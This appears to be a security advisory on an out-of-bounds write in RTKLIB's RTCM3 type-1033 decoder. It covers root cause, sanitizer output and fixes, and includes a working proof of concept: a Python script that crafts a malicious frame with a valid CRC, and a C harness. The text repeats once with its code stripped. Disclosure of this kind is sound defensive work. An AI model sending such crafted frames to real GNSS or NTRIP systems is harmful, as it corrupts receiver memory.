Author(s): Nabih Benazzouz - @raefko
Date: 2026-06-09
Executive Summary
@FuzzingLabs identified an out-of-bounds write in RTKLIB's RTCM3 "Receiver and Antenna Descriptor" decoder decode_type1033. The decoder writes attacker-controlled descriptor strings into fixed 64-byte fields of rtcm->sta without bounding the lengths against the destination size. The message carries five 8-bit length counters (n, m, n1, n2, n3, each 0–255) for the antenna descriptor, antenna serial, receiver type, receiver version and receiver serial. For each, the decoder does strncpy(rtcm->sta.<field>, src, len); rtcm->sta.<field>[len] = '\0'; where <field> is char[MAXANT] with MAXANT = 64. A length of 255 makes strncpy write 255 bytes into a 64-byte field and the terminator store land at index 255 - a 191-byte out-of-bounds write, repeated for five separate fields. The only guard present checks that the frame is long enough to contain the bytes; it never compares the lengths to 64.
FuzzingLabs confirmed the defect with a crafted minimal RTCM3 type-1033 message under UndefinedBehaviorSanitizer (Apple clang): rtcm3.c:905 runtime error: index 255 out of bounds for type 'char[64]' in decode_type1033.
Why UBSAN, not ASAN: rtcm->sta is embedded in the large rtcm_t object, so the overflow stays within that single allocation. AddressSanitizer (which checks allocation boundaries) does not flag it, while UBSAN's array-bounds check - which knows the declared char[64] field bound - catches it precisely. The overflow corrupts adjacent sta_t/rtcm_t members.
RTCM3 type 1033 is part of base-station metadata broadcast on NTRIP/serial correction streams; an attacker controlling such a stream can always compute a valid CRC, so this decoder is reachable in the field. This is the highest-severity finding in the RTKLIB review (the only memory write).
Vulnerability Details
- Severity: High (Out-of-bounds WRITE of attacker-controlled length, up to ~191 bytes past a 64-byte field across five fields, into a heap/stack
rtcm_t object, reachable from an unauthenticated RTCM3/NTRIP stream.)
- Affected Component:
decode_type1033() - src/rtcm3.c:905 (and the four sibling stores at :907–910). The same unclamped-length pattern exists in decode_type1007 (~rtcm3.c:469) and decode_type1008 (~rtcm3.c:507).
Environment
Steps to Reproduce
- Clone and pin:
git clone https://github.com/tomojitakasu/RTKLIB && cd RTKLIB
git checkout 71db0ffa0d9735697c6adfd06fdf766d0e5ce807
- Save
poc.c (below) and generate the exact RTCM3 message msg.rtcm3 with the Python snippet below.
- Build and run under ASAN+UBSAN (halt on the UBSAN array-bounds error):
clang -fsanitize=address,undefined -g -DENAGLO -DENAGAL -DENAQZS -DENACMP -DENAIRN \
-D_DARWIN_C_SOURCE -I src src/*.c src/rcv/*.c poc.c -lm -o poc
UBSAN_OPTIONS=halt_on_error=1:print_stacktrace=1 ./poc msg.rtcm3
Proof of Concept
The exact attacker input is one RTCM3 message: type 1033, station id 0, antenna-descriptor length n = 255, with a total length just large enough to pass the in-decoder length guard. Generate the exact wire bytes:
# build msg.rtcm3 - RTCM3 type-1033 message with antenna-descriptor length n = 255
def setbitu(buf, pos, n, v):
for k in range(n):
bit = (v >> (n-1-k)) & 1
i = (pos+k)//8; mask = 0x80 >> ((pos+k) % 8)
buf[i] = (buf[i] | mask) if bit else (buf[i] & ~mask)
def crc24q(d):
c = 0
for b in d:
c ^= b << 16
for _ in range(8):
c <<= 1
if c & 0x1000000: c ^= 0x1864CFB
c &= 0xFFFFFF
return c
payload = bytearray(267) # >= 267 bytes so the i+60+8*255 <= len*8 guard holds
setbitu(payload, 0, 12, 1033) # DF002 message number
setbitu(payload, 12, 12, 0) # DF003 station id
setbitu(payload, 24, 8, 255) # antenna descriptor length n = 255 (overflow driver)
hdr = bytes([0xD3, (len(payload) >> 8) & 3, len(payload) & 0xFF])
frame = hdr + bytes(payload)
crc = crc24q(frame)
open("msg.rtcm3", "wb").write(frame + bytes([(crc >> 16) & 0xFF, (crc >> 8) & 0xFF, crc & 0xFF]))
poc.c (complete, self-contained - feeds the message to the decoder byte-by-byte):
#include <stdio.h>
#include <stdlib.h>
#include "rtklib.h"
int showmsg(char *fmt, ...) { (void)fmt; return 0; }
void settime(gtime_t t) { (void)t; }
void settspan(gtime_t a, gtime_t b) { (void)a; (void)b; }
int main(int argc, char **argv) {
if (argc < 2) return 1;
FILE *f = fopen(argv[1], "rb"); if (!f) return 1;
rtcm_t rtcm; if (init_rtcm(&rtcm) <= 0) return 1;
int c;
while ((c = fgetc(f)) != EOF) input_rtcm3(&rtcm, (unsigned char)c);
fclose(f); free_rtcm(&rtcm);
return 0;
}
Root Cause Analysis
decode_type1033 (src/rtcm3.c) reads five 8-bit length counters and copies that many bytes into fixed char[MAXANT] (MAXANT = 64) fields:
char des[32]="",sno[32]="",rec[32]="",ver[32]="",rsn[32]="";
int i=24+12,j,staid,n,m,n1,n2,n3,setup;
n =getbitu(rtcm->buff,i+12,8); /* 0..255, attacker-controlled */
m =getbitu(rtcm->buff,i+28+8*n,8);
...
if (i+60+8*(n+m+n1+n2+n3)<=rtcm->len*8) { /* checks frame length ONLY, not the 64-byte caps */
...
for (j=0;j<n&&j<31;j++) { des[j]=...; i+=8; } /* local temp copy capped at 31 */
...
}
...
strncpy(rtcm->sta.antdes, des,n ); rtcm->sta.antdes [n] ='\0'; // rtcm3.c:905 <-- OOB write (n up to 255)
strncpy(rtcm->sta.antsno, sno,m ); rtcm->sta.antsno [m] ='\0'; // :907
strncpy(rtcm->sta.rectype,rec,n1); rtcm->sta.rectype[n1]='\0'; // :908
strncpy(rtcm->sta.recver, ver,n2); rtcm->sta.recver [n2]='\0'; // :909
strncpy(rtcm->sta.recsno, rsn,n3); rtcm->sta.recsno [n3]='\0'; // :910
The local copy loops are bounded (j<31), so the stack temporaries des/sno/... are safe - which masks the danger at a glance. But the subsequent strncpy(rtcm->sta.<field>, <temp>, <len>) uses the raw wire length as the byte count, and rtcm->sta.<field> is only 64 bytes. strncpy writes len bytes (NUL-padding past the temp's terminator), and rtcm->sta.<field>[len] = '\0' then stores at index len. For len = 255 that is a 191-byte over-write plus an index-255 store into a char[64]. The guard i+60+8*(n+m+n1+n2+n3) <= rtcm->len*8 only ensures the frame carries that many bytes; it never clamps any length to MAXANT. sta.antdes etc. live inside the larger rtcm_t, so the writes corrupt adjacent sta_t/rtcm_t members.
Detailed Behavior
A single RTCM3 type-1033 message with an oversized descriptor length corrupts memory inside the rtcm_t decoder state of any RTKLIB-based consumer of base-station/NTRIP correction streams (rovers, CORS software, NTRIP clients). With five independently controllable lengths, an attacker can shape the corruption across antsetup, the other descriptor fields, and whatever follows sta in rtcm_t.
UBSAN_OPTIONS=halt_on_error=1:print_stacktrace=1 ./poc msg.rtcm3
src/rtcm3.c:905:40: runtime error: index 255 out of bounds for type 'char[64]'
#0 0x0001030e0db4 in decode_type1033 rtcm3.c:905
#1 0x0001030d4c20 in decode_rtcm3 rtcm3.c:2117
#2 0x000102feca48 in main poc.c:14
#3 0x000188203dfc in start+0x1b4c (dyld:arm64e+0x1fdfc)
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/rtcm3.c:905:40
AddressSanitizer does not flag this because rtcm->sta.antdes is embedded in the large rtcm_t allocation (the over-write stays within that single object); UBSAN's field-aware array-bounds check is the correct detector here.
Recommendations
- Clamp every descriptor length to the field size. Before each copy, clamp
n,m,n1,n2,n3 to MAXANT-1 (or reject the message if any exceeds it), e.g. if (n >= (int)sizeof(rtcm->sta.antdes)) n = sizeof(rtcm->sta.antdes) - 1; and likewise for the others.
- Store the terminator only at the clamped length.
- Apply the same fix to
decode_type1007 and decode_type1008 (identical unclamped-length strncpy into sta.antdes/sta.antsno).
Author(s): Nabih Benazzouz - @raefko
Date: 2026-06-09
Executive Summary
@FuzzingLabs identified an out-of-bounds write in RTKLIB's RTCM3 "Receiver and Antenna Descriptor" decoder
decode_type1033. The decoder writes attacker-controlled descriptor strings into fixed 64-byte fields ofrtcm->stawithout bounding the lengths against the destination size. The message carries five 8-bit length counters (n,m,n1,n2,n3, each 0–255) for the antenna descriptor, antenna serial, receiver type, receiver version and receiver serial. For each, the decoder doesstrncpy(rtcm->sta.<field>, src, len); rtcm->sta.<field>[len] = '\0';where<field>ischar[MAXANT]withMAXANT = 64. A length of 255 makesstrncpywrite 255 bytes into a 64-byte field and the terminator store land at index 255 - a 191-byte out-of-bounds write, repeated for five separate fields. The only guard present checks that the frame is long enough to contain the bytes; it never compares the lengths to 64.FuzzingLabs confirmed the defect with a crafted minimal RTCM3 type-1033 message under UndefinedBehaviorSanitizer (Apple clang):
rtcm3.c:905runtime error: index 255 out of bounds for type 'char[64]'indecode_type1033.RTCM3 type 1033 is part of base-station metadata broadcast on NTRIP/serial correction streams; an attacker controlling such a stream can always compute a valid CRC, so this decoder is reachable in the field. This is the highest-severity finding in the RTKLIB review (the only memory write).
Vulnerability Details
rtcm_tobject, reachable from an unauthenticated RTCM3/NTRIP stream.)decode_type1033()-src/rtcm3.c:905(and the four sibling stores at:907–910). The same unclamped-length pattern exists indecode_type1007(~rtcm3.c:469) anddecode_type1008(~rtcm3.c:507).Environment
-fsanitize=address,undefined.71db0ffa0d9735697c6adfd06fdf766d0e5ce807(2.4.3 line, 2018-01-30)Steps to Reproduce
poc.c(below) and generate the exact RTCM3 messagemsg.rtcm3with the Python snippet below.Proof of Concept
The exact attacker input is one RTCM3 message: type 1033, station id 0, antenna-descriptor length
n = 255, with a total length just large enough to pass the in-decoder length guard. Generate the exact wire bytes:poc.c(complete, self-contained - feeds the message to the decoder byte-by-byte):Root Cause Analysis
decode_type1033(src/rtcm3.c) reads five 8-bit length counters and copies that many bytes into fixedchar[MAXANT](MAXANT = 64) fields:The local copy loops are bounded (
j<31), so the stack temporariesdes/sno/...are safe - which masks the danger at a glance. But the subsequentstrncpy(rtcm->sta.<field>, <temp>, <len>)uses the raw wire length as the byte count, andrtcm->sta.<field>is only 64 bytes.strncpywriteslenbytes (NUL-padding past the temp's terminator), andrtcm->sta.<field>[len] = '\0'then stores at indexlen. Forlen = 255that is a 191-byte over-write plus an index-255 store into achar[64]. The guardi+60+8*(n+m+n1+n2+n3) <= rtcm->len*8only ensures the frame carries that many bytes; it never clamps any length toMAXANT.sta.antdesetc. live inside the largerrtcm_t, so the writes corrupt adjacentsta_t/rtcm_tmembers.Detailed Behavior
A single RTCM3 type-1033 message with an oversized descriptor length corrupts memory inside the
rtcm_tdecoder state of any RTKLIB-based consumer of base-station/NTRIP correction streams (rovers, CORS software, NTRIP clients). With five independently controllable lengths, an attacker can shape the corruption acrossantsetup, the other descriptor fields, and whatever followsstainrtcm_t.AddressSanitizer does not flag this because
rtcm->sta.antdesis embedded in the largertcm_tallocation (the over-write stays within that single object); UBSAN's field-awarearray-boundscheck is the correct detector here.Recommendations
n,m,n1,n2,n3toMAXANT-1(or reject the message if any exceeds it), e.g.if (n >= (int)sizeof(rtcm->sta.antdes)) n = sizeof(rtcm->sta.antdes) - 1;and likewise for the others.decode_type1007anddecode_type1008(identical unclamped-lengthstrncpyintosta.antdes/sta.antsno).